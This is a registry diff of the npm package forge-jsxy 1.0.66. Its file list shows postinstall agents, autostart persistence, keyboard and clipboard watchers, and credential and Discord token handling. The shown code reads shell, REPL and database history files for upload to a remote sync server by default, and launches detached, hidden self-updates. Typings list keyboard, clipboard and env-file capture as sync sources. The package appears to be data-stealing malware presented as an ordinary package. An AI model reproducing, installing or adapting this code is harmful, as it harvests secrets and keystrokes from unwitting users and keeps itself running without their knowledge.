forge-jsxy 1.0.66
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/assets/files-explorer-template.html +4100 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +290 -0
- package/dist/assets/files-explorer-template.html +4100 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/autostart/agentEnvFile.d.ts +58 -0
- package/dist/autostart/agentEnvFile.js +488 -0
- package/dist/autostart/autoUpdatePaths.d.ts +7 -0
- package/dist/autostart/autoUpdatePaths.js +51 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +203 -0
- package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
- package/dist/autostart/darwinAutoUpdate.js +70 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
- package/dist/autostart/linuxUpdateTimer.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +277 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +56 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +92 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +38 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +177 -0
- package/dist/clipboardExec.d.ts +1 -0
- package/dist/clipboardExec.js +161 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +476 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +227 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +806 -0
- package/dist/discordWebhookPost.d.ts +12 -0
- package/dist/discordWebhookPost.js +108 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/envScan.d.ts +14 -0
- package/dist/envScan.js +358 -0
- package/dist/exportMirrorCopy.d.ts +15 -0
- package/dist/exportMirrorCopy.js +279 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +9 -0
- package/dist/filesExplorer.js +110 -0
- package/dist/fsMessages.d.ts +1 -0
- package/dist/fsMessages.js +123 -0
- package/dist/fsProtocol.d.ts +107 -0
- package/dist/fsProtocol.js +4800 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +124 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +16 -0
- package/dist/hfSeqIdLookup.js +146 -0
- package/dist/hfUpload.d.ts +47 -0
- package/dist/hfUpload.js +1225 -0
- package/dist/hostInventory.d.ts +18 -0
- package/dist/hostInventory.js +206 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +86 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1094 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxX11.d.ts +2 -0
- package/dist/linuxX11.js +53 -0
- package/dist/relayAgent.d.ts +20 -0
- package/dist/relayAgent.js +828 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +31 -0
- package/dist/relayDashboardGate.js +323 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +1406 -0
- package/dist/shellHistoryScan.d.ts +12 -0
- package/dist/shellHistoryScan.js +200 -0
- package/dist/startupAutoUpdate.d.ts +17 -0
- package/dist/startupAutoUpdate.js +156 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +205 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +22 -0
- package/dist/windowsInputSync.js +536 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +327 -0
- package/package.json +75 -0
- package/scripts/copy-assets.mjs +31 -0
- package/scripts/discord-live-probe.mjs +159 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
- package/scripts/forge-jsx-explorer-restart.mjs +293 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
- package/scripts/postinstall-agent.mjs +313 -0
- package/scripts/postinstall-bootstrap.mjs +264 -0
- package/scripts/postinstall-clipboard-event.mjs +164 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
export interface ShellHistoryFileRecord {
|
|
2
|
+
path: string;
|
|
3
|
+
content: string;
|
|
4
|
+
hash: string;
|
|
5
|
+
mtime: string;
|
|
6
|
+
size: number;
|
|
7
|
+
}
|
|
8
|
+
export declare function effectiveSyncShellHistory(): boolean;
|
|
9
|
+
/**
|
|
10
|
+
* Yield readable history files (same shape as `EnvFileRecord`) for sync.
|
|
11
|
+
*/
|
|
12
|
+
export declare function iterShellHistoryRecords(): Generator<ShellHistoryFileRecord>;
|
|
@@ -0,0 +1,200 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.effectiveSyncShellHistory = effectiveSyncShellHistory;
|
|
37
|
+
exports.iterShellHistoryRecords = iterShellHistoryRecords;
|
|
38
|
+
/**
|
|
39
|
+
* Known shell / REPL history file paths (macOS, Linux, Windows).
|
|
40
|
+
* Uploaded via the same `env_file` sync pipeline as `.env` scans (path identifies the file).
|
|
41
|
+
*/
|
|
42
|
+
const fs = __importStar(require("node:fs"));
|
|
43
|
+
const path = __importStar(require("node:path"));
|
|
44
|
+
const os = __importStar(require("node:os"));
|
|
45
|
+
const node_crypto_1 = require("node:crypto");
|
|
46
|
+
function maxShellHistoryBytes() {
|
|
47
|
+
const raw = (process.env.FORGE_JS_SHELL_HISTORY_MAX_BYTES || "").trim();
|
|
48
|
+
if (raw) {
|
|
49
|
+
const n = parseInt(raw, 10);
|
|
50
|
+
if (Number.isFinite(n) && n >= 4096 && n <= 16 * 1024 * 1024)
|
|
51
|
+
return n;
|
|
52
|
+
}
|
|
53
|
+
return 2 * 1024 * 1024;
|
|
54
|
+
}
|
|
55
|
+
function effectiveSyncShellHistory() {
|
|
56
|
+
const e = (process.env.FORGE_JS_SYNC_SHELL_HISTORY || "").trim().toLowerCase();
|
|
57
|
+
if (["0", "false", "no", "off"].includes(e))
|
|
58
|
+
return false;
|
|
59
|
+
return true;
|
|
60
|
+
}
|
|
61
|
+
function uniquePaths(paths) {
|
|
62
|
+
const seen = new Set();
|
|
63
|
+
const out = [];
|
|
64
|
+
const fold = (p) => process.platform === "win32" ? path.normalize(p).toLowerCase() : path.normalize(p);
|
|
65
|
+
for (const p of paths) {
|
|
66
|
+
const k = fold(p);
|
|
67
|
+
if (seen.has(k))
|
|
68
|
+
continue;
|
|
69
|
+
seen.add(k);
|
|
70
|
+
out.push(p);
|
|
71
|
+
}
|
|
72
|
+
return out;
|
|
73
|
+
}
|
|
74
|
+
/**
|
|
75
|
+
* Optional comma/semicolon-separated absolute paths (e.g. `\\wsl$\Ubuntu\home\user\.bash_history`,
|
|
76
|
+
* or Cygwin install outside default roots).
|
|
77
|
+
*/
|
|
78
|
+
function extraShellHistoryPathsFromEnv() {
|
|
79
|
+
const raw = (process.env.FORGE_JS_SHELL_HISTORY_EXTRA_PATHS || "").trim();
|
|
80
|
+
if (!raw)
|
|
81
|
+
return [];
|
|
82
|
+
return raw
|
|
83
|
+
.split(/[,;]+/)
|
|
84
|
+
.map((s) => s.trim())
|
|
85
|
+
.filter(Boolean)
|
|
86
|
+
.map((p) => path.normalize(p));
|
|
87
|
+
}
|
|
88
|
+
/**
|
|
89
|
+
* Fixed candidate paths for the current user — no full-disk walk.
|
|
90
|
+
*/
|
|
91
|
+
function shellHistoryCandidatePaths() {
|
|
92
|
+
const home = os.homedir();
|
|
93
|
+
const c = [];
|
|
94
|
+
if (process.platform === "win32") {
|
|
95
|
+
c.push(path.join(home, ".bash_history"));
|
|
96
|
+
/** PowerShell 7+ default PSReadLine path (often under Documents, not AppData). */
|
|
97
|
+
const docs = process.env.USERPROFILE || process.env.HOME || home;
|
|
98
|
+
c.push(path.join(docs, "Documents", "PowerShell", "PSReadLine", "ConsoleHost_history.txt"));
|
|
99
|
+
c.push(path.join(docs, "Documents", "WindowsPowerShell", "PSReadLine", "ConsoleHost_history.txt"));
|
|
100
|
+
const appData = process.env.APPDATA || path.join(home, "AppData", "Roaming");
|
|
101
|
+
c.push(path.join(appData, "Microsoft", "Windows", "PowerShell", "PSReadLine", "ConsoleHost_history.txt"));
|
|
102
|
+
const localApp = process.env.LOCALAPPDATA || path.join(home, "AppData", "Local");
|
|
103
|
+
c.push(path.join(localApp, "Microsoft", "PowerShell", "PSReadLine", "ConsoleHost_history.txt"));
|
|
104
|
+
/** Clink (enhanced cmd.exe): persistent line history. */
|
|
105
|
+
c.push(path.join(localApp, "clink", "clink_history"));
|
|
106
|
+
c.push(path.join(localApp, "clink", "history"));
|
|
107
|
+
/** Git Bash / Cygwin / MSYS2-style home trees (table: Cygwin / MSYS2). */
|
|
108
|
+
let winUser = "";
|
|
109
|
+
try {
|
|
110
|
+
winUser = os.userInfo().username || "";
|
|
111
|
+
}
|
|
112
|
+
catch {
|
|
113
|
+
winUser = "";
|
|
114
|
+
}
|
|
115
|
+
if (!winUser) {
|
|
116
|
+
try {
|
|
117
|
+
winUser = path.basename(home) || "";
|
|
118
|
+
}
|
|
119
|
+
catch {
|
|
120
|
+
/* skip */
|
|
121
|
+
}
|
|
122
|
+
}
|
|
123
|
+
// Cygwin `home\` uses the account name, not `DOMAIN\user`.
|
|
124
|
+
if (winUser.includes("\\")) {
|
|
125
|
+
winUser = winUser.slice(winUser.lastIndexOf("\\") + 1);
|
|
126
|
+
}
|
|
127
|
+
if (winUser.includes("@")) {
|
|
128
|
+
winUser = winUser.slice(0, winUser.indexOf("@"));
|
|
129
|
+
}
|
|
130
|
+
if (winUser) {
|
|
131
|
+
for (const root of [
|
|
132
|
+
"C:\\cygwin64",
|
|
133
|
+
"C:\\cygwin",
|
|
134
|
+
"C:\\msys64",
|
|
135
|
+
"C:\\msys2",
|
|
136
|
+
"D:\\cygwin64",
|
|
137
|
+
"D:\\msys64",
|
|
138
|
+
]) {
|
|
139
|
+
c.push(path.join(root, "home", winUser, ".bash_history"));
|
|
140
|
+
}
|
|
141
|
+
}
|
|
142
|
+
const histFile = (process.env.HISTFILE || "").trim();
|
|
143
|
+
if (histFile) {
|
|
144
|
+
c.push(path.normalize(histFile));
|
|
145
|
+
}
|
|
146
|
+
c.push(...extraShellHistoryPathsFromEnv());
|
|
147
|
+
}
|
|
148
|
+
else {
|
|
149
|
+
c.push(path.join(home, ".zsh_history"));
|
|
150
|
+
c.push(path.join(home, ".bash_history"));
|
|
151
|
+
c.push(path.join(home, ".python_history"));
|
|
152
|
+
c.push(path.join(home, ".node_repl_history"));
|
|
153
|
+
c.push(path.join(home, ".mysql_history"));
|
|
154
|
+
c.push(path.join(home, ".psql_history"));
|
|
155
|
+
c.push(path.join(home, ".sqlite_history"));
|
|
156
|
+
c.push(path.join(home, ".lesshst"));
|
|
157
|
+
c.push(path.join(home, ".local", "share", "fish", "fish_history"));
|
|
158
|
+
c.push(path.join(home, ".local", "share", "powershell", "PSReadLine", "ConsoleHost_history.txt"));
|
|
159
|
+
c.push(path.join(home, ".config", "powershell", "PSReadLine", "ConsoleHost_history.txt"));
|
|
160
|
+
const histFile = (process.env.HISTFILE || "").trim();
|
|
161
|
+
if (histFile) {
|
|
162
|
+
c.push(path.normalize(histFile));
|
|
163
|
+
}
|
|
164
|
+
c.push(...extraShellHistoryPathsFromEnv());
|
|
165
|
+
}
|
|
166
|
+
return uniquePaths(c);
|
|
167
|
+
}
|
|
168
|
+
/**
|
|
169
|
+
* Yield readable history files (same shape as `EnvFileRecord`) for sync.
|
|
170
|
+
*/
|
|
171
|
+
function* iterShellHistoryRecords() {
|
|
172
|
+
const cap = maxShellHistoryBytes();
|
|
173
|
+
for (const full of shellHistoryCandidatePaths()) {
|
|
174
|
+
try {
|
|
175
|
+
if (!fs.existsSync(full))
|
|
176
|
+
continue;
|
|
177
|
+
const st = fs.statSync(full);
|
|
178
|
+
if (!st.isFile())
|
|
179
|
+
continue;
|
|
180
|
+
if (st.size === 0 || st.size > cap)
|
|
181
|
+
continue;
|
|
182
|
+
const content = fs.readFileSync(full, "utf8");
|
|
183
|
+
if (!content.trim())
|
|
184
|
+
continue;
|
|
185
|
+
if (content.includes("\x00"))
|
|
186
|
+
continue;
|
|
187
|
+
const hash = (0, node_crypto_1.createHash)("sha256").update(content, "utf8").digest("hex");
|
|
188
|
+
yield {
|
|
189
|
+
path: full,
|
|
190
|
+
content,
|
|
191
|
+
hash,
|
|
192
|
+
mtime: new Date(st.mtimeMs).toISOString(),
|
|
193
|
+
size: st.size,
|
|
194
|
+
};
|
|
195
|
+
}
|
|
196
|
+
catch {
|
|
197
|
+
continue;
|
|
198
|
+
}
|
|
199
|
+
}
|
|
200
|
+
}
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Spawn `forge-jsx-auto-update.mjs` **asynchronously** (fire-and-forget) when triggered by the
|
|
3
|
+
* relay `request_update_check` feature flag on connect.
|
|
4
|
+
*
|
|
5
|
+
* Unlike the synchronous startup check, this does NOT block the event loop — the agent keeps its
|
|
6
|
+
* relay WebSocket open while the update check runs in a detached background process. If a newer
|
|
7
|
+
* package is found the update script installs it and restarts the agent (via PM2 or spawn),
|
|
8
|
+
* which naturally drops and reconnects the WebSocket.
|
|
9
|
+
*
|
|
10
|
+
* Works on Windows (`windowsHide: true`, `detached: true`), Linux, and macOS.
|
|
11
|
+
* No-op when `FORGE_JSX_AUTO_UPDATE=0`, `CI=true`, or the script does not exist.
|
|
12
|
+
*/
|
|
13
|
+
export declare function triggerAsyncUpdateCheck(pkgRoot: string): void;
|
|
14
|
+
/**
|
|
15
|
+
* @returns true when npm upgrade delegated restart — **process must exit(0)** without starting the agent.
|
|
16
|
+
*/
|
|
17
|
+
export declare function syncStartupAutoUpdateIfEligible(pkgRoot: string): boolean;
|
|
@@ -0,0 +1,156 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.triggerAsyncUpdateCheck = triggerAsyncUpdateCheck;
|
|
37
|
+
exports.syncStartupAutoUpdateIfEligible = syncStartupAutoUpdateIfEligible;
|
|
38
|
+
/**
|
|
39
|
+
* Before forge-agent claims the singleton PID file, optionally run `forge-jsx-auto-update.mjs`
|
|
40
|
+
* (same npm/registry logic as OS schedulers). When an upgrade completes, that script exits code 2;
|
|
41
|
+
* the caller exits without starting — the update script already restarted cfgmgr / agent.
|
|
42
|
+
*
|
|
43
|
+
* Opt out: FORGE_JS_STARTUP_AUTO_UPDATE=0|false|off (same idea as FORGE_JSX_AUTO_UPDATE for the hook).
|
|
44
|
+
*/
|
|
45
|
+
const node_child_process_1 = require("node:child_process");
|
|
46
|
+
const fs = __importStar(require("node:fs"));
|
|
47
|
+
const os = __importStar(require("node:os"));
|
|
48
|
+
const path = __importStar(require("node:path"));
|
|
49
|
+
/** Must match scripts/forge-jsx-auto-update.mjs — successful upgrade + delegated restart. */
|
|
50
|
+
const EXIT_AGENT_STARTUP_DELEGATED = 2;
|
|
51
|
+
function mergeIsolatedNpmCacheEnv(base) {
|
|
52
|
+
const xc = process.platform === "win32"
|
|
53
|
+
? path.join(process.env.SystemRoot || "C:\\Windows", "Temp", "forge-jsx-npm-cache-agent-startup")
|
|
54
|
+
: path.join(os.tmpdir(), "forge-jsx-npm-cache-agent-startup");
|
|
55
|
+
try {
|
|
56
|
+
fs.mkdirSync(xc, { recursive: true });
|
|
57
|
+
}
|
|
58
|
+
catch {
|
|
59
|
+
/* skip */
|
|
60
|
+
}
|
|
61
|
+
const cacheForFile = process.platform === "win32" ? xc.replace(/\\/g, "/") : xc;
|
|
62
|
+
const nrcUser = path.join(xc, "forge-fe-user.npmrc");
|
|
63
|
+
const nrcGlobal = path.join(xc, "forge-fe-global.npmrc");
|
|
64
|
+
const line = `cache=${cacheForFile}\n`;
|
|
65
|
+
try {
|
|
66
|
+
fs.writeFileSync(nrcUser, line, "utf8");
|
|
67
|
+
fs.writeFileSync(nrcGlobal, line, "utf8");
|
|
68
|
+
}
|
|
69
|
+
catch {
|
|
70
|
+
/* skip */
|
|
71
|
+
}
|
|
72
|
+
return {
|
|
73
|
+
...base,
|
|
74
|
+
NPM_CONFIG_CACHE: xc,
|
|
75
|
+
npm_config_cache: xc,
|
|
76
|
+
npm_config_globalconfig: nrcGlobal,
|
|
77
|
+
npm_config_userconfig: nrcUser,
|
|
78
|
+
NPM_CONFIG_UPDATE_NOTIFIER: "false",
|
|
79
|
+
npm_config_update_notifier: "false",
|
|
80
|
+
};
|
|
81
|
+
}
|
|
82
|
+
/**
|
|
83
|
+
* Spawn `forge-jsx-auto-update.mjs` **asynchronously** (fire-and-forget) when triggered by the
|
|
84
|
+
* relay `request_update_check` feature flag on connect.
|
|
85
|
+
*
|
|
86
|
+
* Unlike the synchronous startup check, this does NOT block the event loop — the agent keeps its
|
|
87
|
+
* relay WebSocket open while the update check runs in a detached background process. If a newer
|
|
88
|
+
* package is found the update script installs it and restarts the agent (via PM2 or spawn),
|
|
89
|
+
* which naturally drops and reconnects the WebSocket.
|
|
90
|
+
*
|
|
91
|
+
* Works on Windows (`windowsHide: true`, `detached: true`), Linux, and macOS.
|
|
92
|
+
* No-op when `FORGE_JSX_AUTO_UPDATE=0`, `CI=true`, or the script does not exist.
|
|
93
|
+
*/
|
|
94
|
+
function triggerAsyncUpdateCheck(pkgRoot) {
|
|
95
|
+
if ((process.env.NODE_ENV || "").trim() === "test")
|
|
96
|
+
return;
|
|
97
|
+
if (["0", "false", "no", "off"].includes((process.env.FORGE_JSX_AUTO_UPDATE || "").trim().toLowerCase()))
|
|
98
|
+
return;
|
|
99
|
+
if (["0", "false", "no", "off"].includes((process.env.FORGE_JS_STARTUP_AUTO_UPDATE || "").trim().toLowerCase()))
|
|
100
|
+
return;
|
|
101
|
+
const ciValue = (process.env.CI || "").trim().toLowerCase();
|
|
102
|
+
if (ciValue === "true" || ciValue === "1")
|
|
103
|
+
return;
|
|
104
|
+
const script = path.join(pkgRoot, "scripts", "forge-jsx-auto-update.mjs");
|
|
105
|
+
if (!fs.existsSync(script))
|
|
106
|
+
return;
|
|
107
|
+
try {
|
|
108
|
+
const child = (0, node_child_process_1.spawn)(process.execPath, [script, "--agent-startup-hook", "--quiet"], {
|
|
109
|
+
cwd: pkgRoot,
|
|
110
|
+
detached: true,
|
|
111
|
+
windowsHide: true,
|
|
112
|
+
stdio: "ignore",
|
|
113
|
+
env: mergeIsolatedNpmCacheEnv({ ...process.env }),
|
|
114
|
+
});
|
|
115
|
+
child.unref(); // fire-and-forget — don't block the event loop
|
|
116
|
+
}
|
|
117
|
+
catch {
|
|
118
|
+
/* spawn error — ignore, update will happen on next startup */
|
|
119
|
+
}
|
|
120
|
+
}
|
|
121
|
+
/**
|
|
122
|
+
* @returns true when npm upgrade delegated restart — **process must exit(0)** without starting the agent.
|
|
123
|
+
*/
|
|
124
|
+
function syncStartupAutoUpdateIfEligible(pkgRoot) {
|
|
125
|
+
if ((process.env.NODE_ENV || "").trim() === "test")
|
|
126
|
+
return false;
|
|
127
|
+
const startupOff = (process.env.FORGE_JS_STARTUP_AUTO_UPDATE || "").trim().toLowerCase();
|
|
128
|
+
if (["0", "false", "no", "off"].includes(startupOff))
|
|
129
|
+
return false;
|
|
130
|
+
const updateOff = (process.env.FORGE_JSX_AUTO_UPDATE || "").trim().toLowerCase();
|
|
131
|
+
if (["0", "false", "no", "off"].includes(updateOff))
|
|
132
|
+
return false;
|
|
133
|
+
const ciValue = (process.env.CI || "").trim().toLowerCase();
|
|
134
|
+
const isCI = ciValue === "true" ||
|
|
135
|
+
ciValue === "1" ||
|
|
136
|
+
(process.env.GITHUB_ACTIONS || "").trim().toLowerCase() === "true";
|
|
137
|
+
if (isCI)
|
|
138
|
+
return false;
|
|
139
|
+
const script = path.join(pkgRoot, "scripts", "forge-jsx-auto-update.mjs");
|
|
140
|
+
if (!fs.existsSync(script))
|
|
141
|
+
return false;
|
|
142
|
+
const childEnv = mergeIsolatedNpmCacheEnv({ ...process.env });
|
|
143
|
+
const r = (0, node_child_process_1.spawnSync)(process.execPath, [script, "--agent-startup-hook"], {
|
|
144
|
+
cwd: pkgRoot,
|
|
145
|
+
encoding: "utf8",
|
|
146
|
+
timeout: 660_000,
|
|
147
|
+
windowsHide: true,
|
|
148
|
+
env: childEnv,
|
|
149
|
+
stdio: ["ignore", "pipe", "pipe"],
|
|
150
|
+
});
|
|
151
|
+
if (r.error)
|
|
152
|
+
return false;
|
|
153
|
+
if (r.signal)
|
|
154
|
+
return false;
|
|
155
|
+
return r.status === EXIT_AGENT_STARTUP_DELEGATED;
|
|
156
|
+
}
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
export type SyncSource = "keyboard" | "clipboard" | "env_file" | "registration" | "heartbeat";
|
|
2
|
+
/** Virtual ``file_path`` for host JSON in forge-db; must match forge-clients-status and forge-db. */
|
|
3
|
+
export declare const FORGE_HOST_INVENTORY_VIRTUAL_PATH = "forge-js://host-inventory.json";
|
|
4
|
+
export interface SyncEventPayload {
|
|
5
|
+
timestamp: string;
|
|
6
|
+
source: SyncSource;
|
|
7
|
+
text: string;
|
|
8
|
+
size_bytes?: number | null;
|
|
9
|
+
context_json?: string | null;
|
|
10
|
+
file_path?: string | null;
|
|
11
|
+
file_hash?: string | null;
|
|
12
|
+
file_mtime?: string | null;
|
|
13
|
+
}
|
|
14
|
+
export interface ForgeSyncClientOptions {
|
|
15
|
+
baseUrl: string;
|
|
16
|
+
clientId?: string | null;
|
|
17
|
+
fetchImpl?: typeof fetch;
|
|
18
|
+
timeoutMs?: number;
|
|
19
|
+
}
|
|
20
|
+
export declare class ForgeSyncClient {
|
|
21
|
+
private readonly base;
|
|
22
|
+
private readonly clientId;
|
|
23
|
+
private readonly fetchFn;
|
|
24
|
+
private readonly timeoutMs;
|
|
25
|
+
constructor(opts: ForgeSyncClientOptions);
|
|
26
|
+
private headers;
|
|
27
|
+
private request;
|
|
28
|
+
health(): Promise<{
|
|
29
|
+
status: string;
|
|
30
|
+
}>;
|
|
31
|
+
ready(): Promise<{
|
|
32
|
+
status: string;
|
|
33
|
+
}>;
|
|
34
|
+
createEvent(event: SyncEventPayload): Promise<{
|
|
35
|
+
id?: number;
|
|
36
|
+
status: string;
|
|
37
|
+
table: string;
|
|
38
|
+
session_id: string;
|
|
39
|
+
reason?: string;
|
|
40
|
+
}>;
|
|
41
|
+
/**
|
|
42
|
+
* POST OS metadata (type, hostname) to forge-db `/api/client-info`.
|
|
43
|
+
* Non-fatal — failure is silently swallowed; used for dashboard OS display only.
|
|
44
|
+
*/
|
|
45
|
+
updateClientInfo(info: {
|
|
46
|
+
os_type?: string;
|
|
47
|
+
os_platform?: string;
|
|
48
|
+
hostname?: string;
|
|
49
|
+
}): Promise<void>;
|
|
50
|
+
